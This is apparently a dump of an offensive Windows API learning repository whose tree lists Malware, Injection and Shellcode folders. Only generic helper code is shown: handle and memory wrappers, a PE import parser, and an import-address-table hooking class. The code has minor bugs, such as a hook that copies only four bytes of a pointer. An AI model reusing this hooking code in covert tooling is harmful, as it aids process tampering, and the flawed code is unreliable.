├── .gitattributes ├── .gitignore ├── Common ├── AutoHandle.cpp ├── AutoHandle.h ├── AutoVirtualAlloc.cpp ├── AutoVirtualAlloc.h ├── ComInitializationGuard.cpp ├── ComInitializationGuard.h ├── Common.vcxproj ├── Common.vcxproj.filters ├── DebugPrint.h ├── Exception.h ├── IatHook.cpp ├── IatHook.h ├── PeModule.cpp ├── PeModule.h ├── ProcessEntryIterator.cpp ├── ProcessEntryIterator.h ├── ProcessUtils.cpp ├── ProcessUtils.h ├── RunningProcesses.cpp ├── RunningProcesses.h ├── SehException.cpp ├── SehException.h ├── SehTranslatorGuard.cpp ├── SehTranslatorGuard.h ├── StringUtils.cpp ├── StringUtils.h ├── TrampolineHook.cpp ├── TrampolineHook.h ├── VirtualAllocExGuard.cpp ├── VirtualAllocExGuard.h ├── VirtualProtectGuard.cpp ├── VirtualProtectGuard.h ├── Win32ErrorCodeException.cpp ├── Win32ErrorCodeException.h ├── Wmi.h ├── WmiProcessIterator.cpp ├── WmiProcessIterator.h ├── WmiQuery.cpp └── WmiQuery.h ├── DL ├── DL.vcxproj ├── DL.vcxproj.filters ├── README.md ├── dllmain.cpp ├── framework.h ├── pch.cpp └── pch.h ├── EncryptDecrypt ├── EncryptDecrypt.vcxproj ├── EncryptDecrypt.vcxproj.filters ├── README.md └── main.cpp ├── Helper └── Helper.vcxproj.filters ├── HideDLL ├── HideDLL.vcxproj ├── HideDLL.vcxproj.filters └── hideDLL.cpp ├── Injection ├── Injection.cpp ├── Injection.h ├── Injection.vcxproj ├── Injection.vcxproj.filters ├── README.md └── images │ ├── executing_shellcode.gif │ └── mapping_shellcode.gif ├── Malware ├── Helpers.cpp ├── Helpers.h ├── Malware.cpp ├── Malware.rc ├── Malware.vcxproj ├── Malware.vcxproj.filters ├── README.md ├── UPDATER └── resource.h ├── OffensiveWinAPI.sln ├── PIC ├── PIC.c ├── PIC.h ├── PIC.vcxproj ├── PIC.vcxproj.filters └── README.md ├── PicInjection ├── Main.cpp ├── PicInjection.vcxproj └── PicInjection.vcxproj.filters ├── PlayWithNTFS ├── PlayWithNTFS.vcxproj ├── PlayWithNTFS.vcxproj.filters ├── Source.cpp └── victim.txt ├── README.md ├── ScanMemory ├── MemoryInformation.cpp ├── MemoryInformation.h ├── MemoryInformationIterator.cpp ├── MemoryInformationIterator.h ├── README.md ├── ScanMemory.vcxproj ├── ScanMemory.vcxproj.filters ├── images │ └── example.jpg └── main.cpp ├── Shellcode ├── README.md ├── Shellcode.vcxproj ├── Shellcode.vcxproj.filters └── shellcode.c ├── SimpleDllInjection ├── Main.cpp ├── SimpleDllInjection.vcxproj └── SimpleDllInjection.vcxproj.filters └── Tester ├── Tester.cpp ├── Tester.vcxproj └── Tester.vcxproj.filters /.gitattributes: -------------------------------------------------------------------------------- 1 | ############################################################################### 2 | # Set default behavior to automatically normalize line endings. 3 | ############################################################################### 4 | * text=auto 5 | 6 | ############################################################################### 7 | # Set default behavior for command prompt diff. 8 | # 9 | # This is need for earlier builds of msysgit that does not have it on by 10 | # default for csharp files. 11 | # Note: This is only used by command line 12 | ############################################################################### 13 | #*.cs diff=csharp 14 | 15 | ############################################################################### 16 | # Set the merge driver for project and solution files 17 | # 18 | # Merging from the command prompt will add diff markers to the files if there 19 | # are conflicts (Merging from VS is not affected by the settings below, in VS 20 | # the diff markers are never inserted). Diff markers may cause the following 21 | # file extensions to fail to load in VS. An alternative would be to treat 22 | # these files as binary and thus will always conflict and require user 23 | # intervention with every merge. To do so, just uncomment the entries below 24 | ############################################################################### 25 | #*.sln merge=binary 26 | #*.csproj merge=binary 27 | #*.vbproj merge=binary 28 | #*.vcxproj merge=binary 29 | #*.vcproj merge=binary 30 | #*.dbproj merge=binary 31 | #*.fsproj merge=binary 32 | #*.lsproj merge=binary 33 | #*.wixproj merge=binary 34 | #*.modelproj merge=binary 35 | #*.sqlproj merge=binary 36 | #*.wwaproj merge=binary 37 | 38 | ############################################################################### 39 | # behavior for image files 40 | # 41 | # image files are treated as binary by default. 42 | ############################################################################### 43 | #*.jpg binary 44 | #*.png binary 45 | #*.gif binary 46 | 47 | ############################################################################### 48 | # diff behavior for common document formats 49 | # 50 | # Convert binary document formats to text before diffing them. This feature 51 | # is only available from the command line. Turn it on by uncommenting the 52 | # entries below. 53 | ############################################################################### 54 | #*.doc diff=astextplain 55 | #*.DOC diff=astextplain 56 | #*.docx diff=astextplain 57 | #*.DOCX diff=astextplain 58 | #*.dot diff=astextplain 59 | #*.DOT diff=astextplain 60 | #*.pdf diff=astextplain 61 | #*.PDF diff=astextplain 62 | #*.rtf diff=astextplain 63 | #*.RTF diff=astextplain 64 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | ## Ignore Visual Studio temporary files, build results, and 2 | ## files generated by popular Visual Studio add-ons. 3 | ## 4 | ## Get latest from https://github.com/github/gitignore/blob/master/VisualStudio.gitignore 5 | 6 | # User-specific files 7 | *.rsuser 8 | *.suo 9 | *.user 10 | *.userosscache 11 | *.sln.docstates 12 | 13 | # User-specific files (MonoDevelop/Xamarin Studio) 14 | *.userprefs 15 | 16 | # Build results 17 | [Dd]ebug/ 18 | [Dd]ebugPublic/ 19 | [Rr]elease/ 20 | [Rr]eleases/ 21 | x64/ 22 | x86/ 23 | [Aa][Rr][Mm]/ 24 | [Aa][Rr][Mm]64/ 25 | bld/ 26 | [Bb]in/ 27 | [Oo]bj/ 28 | [Ll]og/ 29 | 30 | # Visual Studio 2015/2017 cache/options directory 31 | .vs/ 32 | # Uncomment if you have tasks that create the project's static files in wwwroot 33 | #wwwroot/ 34 | 35 | # Visual Studio 2017 auto generated files 36 | Generated\ Files/ 37 | 38 | # MSTest test Results 39 | [Tt]est[Rr]esult*/ 40 | [Bb]uild[Ll]og.* 41 | 42 | # NUNIT 43 | *.VisualState.xml 44 | TestResult.xml 45 | 46 | # Build Results of an ATL Project 47 | [Dd]ebugPS/ 48 | [Rr]eleasePS/ 49 | dlldata.c 50 | 51 | # Benchmark Results 52 | BenchmarkDotNet.Artifacts/ 53 | 54 | # .NET Core 55 | project.lock.json 56 | project.fragment.lock.json 57 | artifacts/ 58 | 59 | # StyleCop 60 | StyleCopReport.xml 61 | 62 | # Files built by Visual Studio 63 | *_i.c 64 | *_p.c 65 | *_h.h 66 | *.ilk 67 | *.meta 68 | *.obj 69 | *.iobj 70 | *.pch 71 | *.pdb 72 | *.ipdb 73 | *.pgc 74 | *.pgd 75 | *.rsp 76 | *.sbr 77 | *.tlb 78 | *.tli 79 | *.tlh 80 | *.tmp 81 | *.tmp_proj 82 | *_wpftmp.csproj 83 | *.log 84 | *.vspscc 85 | *.vssscc 86 | .builds 87 | *.pidb 88 | *.svclog 89 | *.scc 90 | 91 | # Chutzpah Test files 92 | _Chutzpah* 93 | 94 | # Visual C++ cache files 95 | ipch/ 96 | *.aps 97 | *.ncb 98 | *.opendb 99 | *.opensdf 100 | *.sdf 101 | *.cachefile 102 | *.VC.db 103 | *.VC.VC.opendb 104 | 105 | # Visual Studio profiler 106 | *.psess 107 | *.vsp 108 | *.vspx 109 | *.sap 110 | 111 | # Visual Studio Trace Files 112 | *.e2e 113 | 114 | # TFS 2012 Local Workspace 115 | $tf/ 116 | 117 | # Guidance Automation Toolkit 118 | *.gpState 119 | 120 | # ReSharper is a .NET coding add-in 121 | _ReSharper*/ 122 | *.[Rr]e[Ss]harper 123 | *.DotSettings.user 124 | 125 | # JustCode is a .NET coding add-in 126 | .JustCode 127 | 128 | # TeamCity is a build add-in 129 | _TeamCity* 130 | 131 | # DotCover is a Code Coverage Tool 132 | *.dotCover 133 | 134 | # AxoCover is a Code Coverage Tool 135 | .axoCover/* 136 | !.axoCover/settings.json 137 | 138 | # Visual Studio code coverage results 139 | *.coverage 140 | *.coveragexml 141 | 142 | # NCrunch 143 | _NCrunch_* 144 | .*crunch*.local.xml 145 | nCrunchTemp_* 146 | 147 | # MightyMoose 148 | *.mm.* 149 | AutoTest.Net/ 150 | 151 | # Web workbench (sass) 152 | .sass-cache/ 153 | 154 | # Installshield output folder 155 | [Ee]xpress/ 156 | 157 | # DocProject is a documentation generator add-in 158 | DocProject/buildhelp/ 159 | DocProject/Help/*.HxT 160 | DocProject/Help/*.HxC 161 | DocProject/Help/*.hhc 162 | DocProject/Help/*.hhk 163 | DocProject/Help/*.hhp 164 | DocProject/Help/Html2 165 | DocProject/Help/html 166 | 167 | # Click-Once directory 168 | publish/ 169 | 170 | # Publish Web Output 171 | *.[Pp]ublish.xml 172 | *.azurePubxml 173 | # Note: Comment the next line if you want to checkin your web deploy settings, 174 | # but database connection strings (with potential passwords) will be unencrypted 175 | *.pubxml 176 | *.publishproj 177 | 178 | # Microsoft Azure Web App publish settings. Comment the next line if you want to 179 | # checkin your Azure Web App publish settings, but sensitive information contained 180 | # in these scripts will be unencrypted 181 | PublishScripts/ 182 | 183 | # NuGet Packages 184 | *.nupkg 185 | # The packages folder can be ignored because of Package Restore 186 | **/[Pp]ackages/* 187 | # except build/, which is used as an MSBuild target. 188 | !**/[Pp]ackages/build/ 189 | # Uncomment if necessary however generally it will be regenerated when needed 190 | #!**/[Pp]ackages/repositories.config 191 | # NuGet v3's project.json files produces more ignorable files 192 | *.nuget.props 193 | *.nuget.targets 194 | 195 | # Microsoft Azure Build Output 196 | csx/ 197 | *.build.csdef 198 | 199 | # Microsoft Azure Emulator 200 | ecf/ 201 | rcf/ 202 | 203 | # Windows Store app package directories and files 204 | AppPackages/ 205 | BundleArtifacts/ 206 | Package.StoreAssociation.xml 207 | _pkginfo.txt 208 | *.appx 209 | 210 | # Visual Studio cache files 211 | # files ending in .cache can be ignored 212 | *.[Cc]ache 213 | # but keep track of directories ending in .cache 214 | !?*.[Cc]ache/ 215 | 216 | # Others 217 | ClientBin/ 218 | ~$* 219 | *~ 220 | *.dbmdl 221 | *.dbproj.schemaview 222 | *.jfm 223 | *.pfx 224 | *.publishsettings 225 | orleans.codegen.cs 226 | 227 | # Including strong name files can present a security risk 228 | # (https://github.com/github/gitignore/pull/2483#issue-259490424) 229 | #*.snk 230 | 231 | # Since there are multiple workflows, uncomment next line to ignore bower_components 232 | # (https://github.com/github/gitignore/pull/1529#issuecomment-104372622) 233 | #bower_components/ 234 | 235 | # RIA/Silverlight projects 236 | Generated_Code/ 237 | 238 | # Backup & report files from converting an old project file 239 | # to a newer Visual Studio version. Backup files are not needed, 240 | # because we have git ;-) 241 | _UpgradeReport_Files/ 242 | Backup*/ 243 | UpgradeLog*.XML 244 | UpgradeLog*.htm 245 | ServiceFabricBackup/ 246 | *.rptproj.bak 247 | 248 | # SQL Server files 249 | *.mdf 250 | *.ldf 251 | *.ndf 252 | 253 | # Business Intelligence projects 254 | *.rdl.data 255 | *.bim.layout 256 | *.bim_*.settings 257 | *.rptproj.rsuser 258 | *- Backup*.rdl 259 | 260 | # Microsoft Fakes 261 | FakesAssemblies/ 262 | 263 | # GhostDoc plugin setting file 264 | *.GhostDoc.xml 265 | 266 | # Node.js Tools for Visual Studio 267 | .ntvs_analysis.dat 268 | node_modules/ 269 | 270 | # Visual Studio 6 build log 271 | *.plg 272 | 273 | # Visual Studio 6 workspace options file 274 | *.opt 275 | 276 | # Visual Studio 6 auto-generated workspace file (contains which files were open etc.) 277 | *.vbw 278 | 279 | # Visual Studio LightSwitch build output 280 | **/*.HTMLClient/GeneratedArtifacts 281 | **/*.DesktopClient/GeneratedArtifacts 282 | **/*.DesktopClient/ModelManifest.xml 283 | **/*.Server/GeneratedArtifacts 284 | **/*.Server/ModelManifest.xml 285 | _Pvt_Extensions 286 | 287 | # Paket dependency manager 288 | .paket/paket.exe 289 | paket-files/ 290 | 291 | # FAKE - F# Make 292 | .fake/ 293 | 294 | # JetBrains Rider 295 | .idea/ 296 | *.sln.iml 297 | 298 | # CodeRush personal settings 299 | .cr/personal 300 | 301 | # Python Tools for Visual Studio (PTVS) 302 | __pycache__/ 303 | *.pyc 304 | 305 | # Cake - Uncomment if you are using it 306 | # tools/** 307 | # !tools/packages.config 308 | 309 | # Tabs Studio 310 | *.tss 311 | 312 | # Telerik's JustMock configuration file 313 | *.jmconfig 314 | 315 | # BizTalk build output 316 | *.btp.cs 317 | *.btm.cs 318 | *.odx.cs 319 | *.xsd.cs 320 | 321 | # OpenCover UI analysis results 322 | OpenCover/ 323 | 324 | # Azure Stream Analytics local run output 325 | ASALocalRun/ 326 | 327 | # MSBuild Binary and Structured Log 328 | *.binlog 329 | 330 | # NVidia Nsight GPU debugger configuration file 331 | *.nvuser 332 | 333 | # MFractors (Xamarin productivity tool) working folder 334 | .mfractor/ 335 | 336 | # Local History for Visual Studio 337 | .localhistory/ 338 | 339 | # BeatPulse healthcheck temp database 340 | healthchecksdb -------------------------------------------------------------------------------- /Common/AutoHandle.cpp: -------------------------------------------------------------------------------- 1 | #include "AutoHandle.h" 2 | 3 | void HandleDeleter::operator()(const HANDLE& handle) const 4 | { 5 | if (INVALID_HANDLE_VALUE != handle) 6 | { 7 | CloseHandle(handle); 8 | } 9 | } 10 | -------------------------------------------------------------------------------- /Common/AutoHandle.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include 4 | #include 5 | 6 | struct HandleDeleter 7 | { 8 | void operator()(const HANDLE& handle) const; 9 | }; 10 | 11 | using AutoHandle = std::unique_ptr; 12 | 13 | -------------------------------------------------------------------------------- /Common/AutoVirtualAlloc.cpp: -------------------------------------------------------------------------------- 1 | #include "AutoVirtualAlloc.h" 2 | #include "Win32ErrorCodeException.h" 3 | 4 | #include 5 | 6 | AutoVirtualAlloc::AutoVirtualAlloc(SIZE_T size, DWORD allocationType, DWORD protection, LPVOID address) 7 | : m_allocationAddress(nullptr), m_allocationSize(size) 8 | { 9 | this->allocate(size, allocationType, protection, address); 10 | } 11 | 12 | AutoVirtualAlloc::~AutoVirtualAlloc() 13 | { 14 | try 15 | { 16 | this->free(); 17 | } 18 | catch (const Win32ErrorCodeException& exception) 19 | { 20 | std::cout << exception.what() << std::endl; 21 | } 22 | catch (...) 23 | { 24 | std::cout << "Exception thrown in destructor of: AutoVirtualAlloc" << std::endl; 25 | } 26 | } 27 | 28 | void AutoVirtualAlloc::reset(SIZE_T size, DWORD allocationType, DWORD protection, LPVOID address) 29 | { 30 | if (nullptr != this->m_allocationAddress) 31 | { 32 | this->free(); 33 | } 34 | 35 | this->allocate(size, allocationType, protection, address); 36 | } 37 | 38 | void* AutoVirtualAlloc::get() const 39 | { 40 | return this->m_allocationAddress; 41 | } 42 | 43 | void AutoVirtualAlloc::allocate(SIZE_T size, DWORD allocationType, DWORD protection, LPVOID address) 44 | { 45 | if (0 >= size) 46 | { 47 | throw std::runtime_error("Invalid size"); 48 | } 49 | 50 | this->m_allocationAddress = VirtualAlloc(address, size, allocationType, protection); 51 | if (nullptr == this->m_allocationAddress) 52 | { 53 | throw Win32ErrorCodeException("Could not allocate memory"); 54 | } 55 | } 56 | 57 | void AutoVirtualAlloc::free() const 58 | { 59 | if (nullptr != this->m_allocationAddress) 60 | { 61 | if (!VirtualFree(this->m_allocationAddress, this->m_allocationSize, MEM_RELEASE)) 62 | { 63 | throw Win32ErrorCodeException("Could not free allocated memory"); 64 | } 65 | } 66 | } 67 | -------------------------------------------------------------------------------- /Common/AutoVirtualAlloc.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include 4 | 5 | class AutoVirtualAlloc 6 | { 7 | public: 8 | AutoVirtualAlloc() = default; 9 | 10 | explicit AutoVirtualAlloc(SIZE_T size, DWORD allocationType, DWORD protection, LPVOID address = nullptr); 11 | 12 | ~AutoVirtualAlloc(); 13 | 14 | // Disable: copyable, cloneable, movable: 15 | AutoVirtualAlloc(const AutoVirtualAlloc&) = delete; 16 | AutoVirtualAlloc& operator=(const AutoVirtualAlloc&) = delete; 17 | AutoVirtualAlloc(const AutoVirtualAlloc&&) = delete; 18 | AutoVirtualAlloc& operator=(const AutoVirtualAlloc&&) = delete; 19 | 20 | void reset(SIZE_T size, DWORD allocationType, DWORD protection, LPVOID address = nullptr); 21 | 22 | void* get() const; 23 | 24 | private: 25 | void allocate(SIZE_T size, DWORD allocationType, DWORD protection, LPVOID address = nullptr); 26 | void free() const; 27 | 28 | void* m_allocationAddress; 29 | SIZE_T m_allocationSize; 30 | }; 31 | 32 | -------------------------------------------------------------------------------- /Common/ComInitializationGuard.cpp: -------------------------------------------------------------------------------- 1 | #include "ComInitializationGuard.h" 2 | #include "Win32ErrorCodeException.h" 3 | #include "Exception.h" 4 | 5 | #include 6 | 7 | ComInitializationGuard::ComInitializationGuard(COINIT coInit) 8 | { 9 | const HRESULT result = CoInitializeEx(nullptr, coInit); 10 | if (FAILED(result)) 11 | { 12 | const _com_error error(result); 13 | THROW_WSTRING_RUNTIME_ERROR(std::wstring(error.ErrorMessage())); 14 | } 15 | } 16 | 17 | ComInitializationGuard::~ComInitializationGuard() 18 | { 19 | try 20 | { 21 | if (S_OK == this->m_result) 22 | { 23 | CoUninitialize(); 24 | } 25 | } 26 | catch (...) 27 | { 28 | std::cout << "Exception was thrown at ComInitializeGuard destructor" << std::endl; 29 | } 30 | } 31 | -------------------------------------------------------------------------------- /Common/ComInitializationGuard.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include 4 | 5 | /* 6 | * @note If you are using Smart pointer such as: CComPtr<>, their lifetime must end BEFORE 7 | * CoUnitialize (the destructor of this guard) is called, so use { } as scope, see @usage. 8 | * @usage: 9 | ComInitializationGuard comInitializationGuard; 10 | { 11 | // ... do something using COM Smart pointers 12 | } 13 | */ 14 | class ComInitializationGuard 15 | { 16 | public: 17 | explicit ComInitializationGuard(COINIT coInit = COINIT_MULTITHREADED); 18 | 19 | virtual ~ComInitializationGuard(); 20 | 21 | // Disable: copyable, assignment, movable: 22 | ComInitializationGuard(const ComInitializationGuard&) = delete; 23 | ComInitializationGuard& operator=(const ComInitializationGuard&) = delete; 24 | ComInitializationGuard(ComInitializationGuard&&) = delete; 25 | ComInitializationGuard& operator=(ComInitializationGuard&&) = delete; 26 | 27 | private: 28 | HRESULT m_result; 29 | }; 30 | 31 | -------------------------------------------------------------------------------- /Common/Common.vcxproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Debug 6 | Win32 7 | 8 | 9 | Release 10 | Win32 11 | 12 | 13 | Debug 14 | x64 15 | 16 | 17 | Release 18 | x64 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 16.0 64 | Win32Proj 65 | {528cf324-c076-4ba8-a436-2d23f8acc227} 66 | Common 67 | 10.0 68 | 69 | 70 | 71 | StaticLibrary 72 | true 73 | v142 74 | Unicode 75 | 76 | 77 | StaticLibrary 78 | false 79 | v142 80 | true 81 | Unicode 82 | 83 | 84 | StaticLibrary 85 | true 86 | v142 87 | Unicode 88 | 89 | 90 | StaticLibrary 91 | false 92 | v142 93 | true 94 | Unicode 95 | 96 | 97 | 98 | 99 | 100 | 101 | 102 | 103 | 104 | 105 | 106 | 107 | 108 | 109 | 110 | 111 | 112 | 113 | 114 | 115 | true 116 | 117 | 118 | false 119 | 120 | 121 | true 122 | 123 | 124 | false 125 | 126 | 127 | 128 | Level3 129 | true 130 | WIN32;_DEBUG;_LIB;%(PreprocessorDefinitions) 131 | true 132 | NotUsing 133 | 134 | 135 | stdcpp17 136 | stdc17 137 | 138 | 139 | 140 | 141 | true 142 | 143 | 144 | 145 | 146 | Level3 147 | true 148 | true 149 | true 150 | WIN32;NDEBUG;_LIB;%(PreprocessorDefinitions) 151 | true 152 | NotUsing 153 | 154 | 155 | stdcpp17 156 | stdc17 157 | 158 | 159 | 160 | 161 | true 162 | true 163 | true 164 | 165 | 166 | 167 | 168 | Level3 169 | true 170 | _DEBUG;_LIB;%(PreprocessorDefinitions) 171 | true 172 | NotUsing 173 | 174 | 175 | stdcpp17 176 | stdc17 177 | 178 | 179 | 180 | 181 | true 182 | 183 | 184 | 185 | 186 | Level3 187 | true 188 | true 189 | true 190 | NDEBUG;_LIB;%(PreprocessorDefinitions) 191 | true 192 | NotUsing 193 | 194 | 195 | stdcpp17 196 | stdc17 197 | 198 | 199 | 200 | 201 | true 202 | true 203 | true 204 | 205 | 206 | 207 | 208 | 209 | -------------------------------------------------------------------------------- /Common/Common.vcxproj.filters: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd 11 | 12 | 13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} 14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms 15 | 16 | 17 | 18 | 19 | Header Files 20 | 21 | 22 | Header Files 23 | 24 | 25 | Header Files 26 | 27 | 28 | Header Files 29 | 30 | 31 | Header Files 32 | 33 | 34 | Header Files 35 | 36 | 37 | Header Files 38 | 39 | 40 | Header Files 41 | 42 | 43 | Header Files 44 | 45 | 46 | Header Files 47 | 48 | 49 | Header Files 50 | 51 | 52 | Header Files 53 | 54 | 55 | Header Files 56 | 57 | 58 | Header Files 59 | 60 | 61 | Header Files 62 | 63 | 64 | Header Files 65 | 66 | 67 | Header Files 68 | 69 | 70 | Header Files 71 | 72 | 73 | Header Files 74 | 75 | 76 | Header Files 77 | 78 | 79 | 80 | 81 | Source Files 82 | 83 | 84 | Source Files 85 | 86 | 87 | Source Files 88 | 89 | 90 | Source Files 91 | 92 | 93 | Source Files 94 | 95 | 96 | Source Files 97 | 98 | 99 | Source Files 100 | 101 | 102 | Source Files 103 | 104 | 105 | Source Files 106 | 107 | 108 | Source Files 109 | 110 | 111 | Source Files 112 | 113 | 114 | Source Files 115 | 116 | 117 | Source Files 118 | 119 | 120 | Source Files 121 | 122 | 123 | Source Files 124 | 125 | 126 | Source Files 127 | 128 | 129 | Source Files 130 | 131 | 132 | -------------------------------------------------------------------------------- /Common/DebugPrint.h: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | /* 4 | Helper Macro to print message only in debug mode. 5 | */ 6 | #ifdef _DEBUG 7 | #define DEBUG_PRINT(message) \ 8 | do { \ 9 | std::cout << (message) << std::endl; \ 10 | } while (0) 11 | #else 12 | #define DEBUG_PRINT(message) // <-- Empty on purpose to prevent printing message in release mode 13 | #endif 14 | -------------------------------------------------------------------------------- /Common/Exception.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include 4 | #include 5 | 6 | #define THROW_WSTRING_RUNTIME_ERROR(x) \ 7 | do { \ 8 | throw std::runtime_error(CW2A((x).c_str()));\ 9 | } while(0) -------------------------------------------------------------------------------- /Common/IatHook.cpp: -------------------------------------------------------------------------------- 1 | #include "IatHook.h" 2 | #include "DebugPrint.h" 3 | #include "VirtualProtectGuard.h" 4 | #include "PeModule.h" 5 | 6 | #include 7 | #include 8 | #include 9 | #include 10 | 11 | IatHook::IatHook(std::string moduleName, std::string functionName, void* hookingFunction) 12 | : m_moduleName(moduleName), m_functionName(functionName), m_hookingFunction(hookingFunction), m_originalImportAddressValue(0) 13 | { 14 | const HMODULE currentProcessModule = GetModuleHandleA(nullptr); 15 | const PeModule pe(currentProcessModule); 16 | 17 | this->m_importFunctionAddress = pe.getImportFunctionAddress(this->m_moduleName, this->m_functionName); 18 | if (nullptr == this->m_importFunctionAddress) 19 | { 20 | throw std::runtime_error("Invalid import function address"); 21 | } 22 | 23 | this->m_originalImportAddressValue = *static_cast(this->m_importFunctionAddress); 24 | } 25 | 26 | IatHook::~IatHook() 27 | { 28 | try 29 | { 30 | this->restoreOriginalFunction(); 31 | } 32 | catch (const std::exception& exception) 33 | { 34 | DEBUG_PRINT(exception.what()); 35 | } 36 | catch (...) 37 | { 38 | DEBUG_PRINT("Exception thrown in destructor of: IatHook"); 39 | } 40 | } 41 | 42 | void IatHook::installHook() const 43 | { 44 | VirtualProtectGuard virtualProtectGuard(this->m_importFunctionAddress, sizeof(void*), PAGE_EXECUTE_READWRITE); 45 | 46 | memcpy_s(this->m_importFunctionAddress, sizeof(DWORD), &this->m_hookingFunction, sizeof(DWORD)); 47 | } 48 | 49 | void* IatHook::getOriginalAddress() const 50 | { 51 | return reinterpret_cast(this->m_originalImportAddressValue); 52 | } 53 | 54 | void IatHook::restoreOriginalFunction() const 55 | { 56 | VirtualProtectGuard virtualProtectGuard(this->m_importFunctionAddress, sizeof(void*), PAGE_EXECUTE_READWRITE); 57 | 58 | memcpy_s(this->m_importFunctionAddress, sizeof(void*), &this->m_originalImportAddressValue, sizeof(void*)); 59 | } -------------------------------------------------------------------------------- /Common/IatHook.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include 4 | #include 5 | 6 | class IatHook 7 | { 8 | public: 9 | explicit IatHook(std::string moduleName, std::string functionName, void* hookingFunction); 10 | 11 | virtual ~IatHook(); 12 | 13 | void installHook() const; 14 | 15 | void* getOriginalAddress() const; 16 | 17 | private: 18 | void restoreOriginalFunction() const; 19 | 20 | std::string m_moduleName; 21 | std::string m_functionName; 22 | void* m_hookingFunction; 23 | void* m_importFunctionAddress; 24 | ULONGLONG m_originalImportAddressValue; 25 | }; 26 | 27 | -------------------------------------------------------------------------------- /Common/PeModule.cpp: -------------------------------------------------------------------------------- 1 | #include "PeModule.h" 2 | 3 | #include 4 | 5 | PeModule::PeModule(const HMODULE module) 6 | : m_moduleBaseAddress(0), m_dosHeader(nullptr), m_ntHeaders(nullptr), m_optionalHeader(nullptr) 7 | { 8 | if (nullptr == module) 9 | { 10 | throw std::runtime_error("Invalid module handle"); 11 | } 12 | 13 | this->m_moduleBaseAddress = reinterpret_cast(module); 14 | this->setDosHeader(this->m_moduleBaseAddress); 15 | this->setNtHeaders(this->m_moduleBaseAddress, this->m_dosHeader); 16 | this->setOptionalHeader(this->m_ntHeaders); 17 | } 18 | 19 | PIMAGE_DOS_HEADER PeModule::getDosHeader() const 20 | { 21 | return this->m_dosHeader; 22 | } 23 | 24 | PIMAGE_NT_HEADERS PeModule::getNtHeaders() const 25 | { 26 | return this->m_ntHeaders; 27 | } 28 | 29 | PIMAGE_OPTIONAL_HEADER PeModule::getOptionalHeader() const 30 | { 31 | return this->m_optionalHeader; 32 | } 33 | 34 | std::vector PeModule::getImportDescriptors() const 35 | { 36 | auto* const importDescriptor = reinterpret_cast( 37 | PtrFromRva( 38 | this->m_moduleBaseAddress, 39 | this->m_ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress 40 | )); 41 | 42 | std::vector importDescriptors; 43 | 44 | // Characteristics = 0 represent null-import-descriptor: 45 | for (UINT uIndex = 0; importDescriptor[uIndex].Characteristics != 0; uIndex++) 46 | { 47 | importDescriptors.push_back(&importDescriptor[uIndex]); 48 | } 49 | 50 | return importDescriptors; 51 | } 52 | 53 | std::map PeModule::getModules() const 54 | { 55 | std::vector importDescriptors = this->getImportDescriptors(); 56 | 57 | std::map modules; 58 | 59 | for (const auto& importDescriptor : importDescriptors) 60 | { 61 | std::string moduleName(reinterpret_cast(PtrFromRva(this->m_moduleBaseAddress, importDescriptor->Name))); 62 | modules.insert({ moduleName , importDescriptor }); 63 | } 64 | 65 | return modules; 66 | } 67 | 68 | PIMAGE_THUNK_DATA PeModule::getImportImageThunkData(PIMAGE_IMPORT_DESCRIPTOR const moduleDescriptor, 69 | const std::string& importFunctionName) const 70 | { 71 | auto* firstThunk = reinterpret_cast(PtrFromRva(this->m_moduleBaseAddress, moduleDescriptor->FirstThunk)); 72 | auto* OriginalFirstThunk = reinterpret_cast(PtrFromRva(this->m_moduleBaseAddress, moduleDescriptor->OriginalFirstThunk)); 73 | 74 | while (0 != OriginalFirstThunk->u1.Function) 75 | { 76 | // Search by name and not by ordinal: 77 | if (!(OriginalFirstThunk->u1.Ordinal & IMAGE_ORDINAL_FLAG)) 78 | { 79 | auto* importByName = reinterpret_cast(PtrFromRva(this->m_moduleBaseAddress, OriginalFirstThunk->u1.AddressOfData)); 80 | std::string functionName(static_cast(importByName->Name)); 81 | 82 | if (0 == importFunctionName.compare(functionName)) 83 | { 84 | return firstThunk; 85 | } 86 | } 87 | 88 | OriginalFirstThunk++; 89 | firstThunk++; 90 | } 91 | 92 | throw std::runtime_error("Could not find the import function IMAGE_THUNK_DATA first thunk"); 93 | } 94 | 95 | void* PeModule::getImportFunctionAddress(PIMAGE_IMPORT_DESCRIPTOR moduleDescriptor, 96 | const std::string& importFunctionName) const 97 | { 98 | auto* const firstThunk = this->getImportImageThunkData(moduleDescriptor, importFunctionName); 99 | return &firstThunk->u1.Function; 100 | } 101 | 102 | void* PeModule::getImportFunctionAddress(const std::string& moduleName, const std::string& importName) const 103 | { 104 | std::map modules = this->getModules(); 105 | for (const auto& [module, moduleDescriptor] : modules) 106 | { 107 | if (0 == moduleName.compare(module)) 108 | { 109 | return this->getImportFunctionAddress(moduleDescriptor, importName); 110 | } 111 | } 112 | 113 | throw std::runtime_error("Could not find the import function address in the IAT"); 114 | } 115 | 116 | void PeModule::setDosHeader(DWORD_PTR moduleBaseAddress) 117 | { 118 | this->m_dosHeader = reinterpret_cast(moduleBaseAddress); 119 | 120 | if (nullptr == 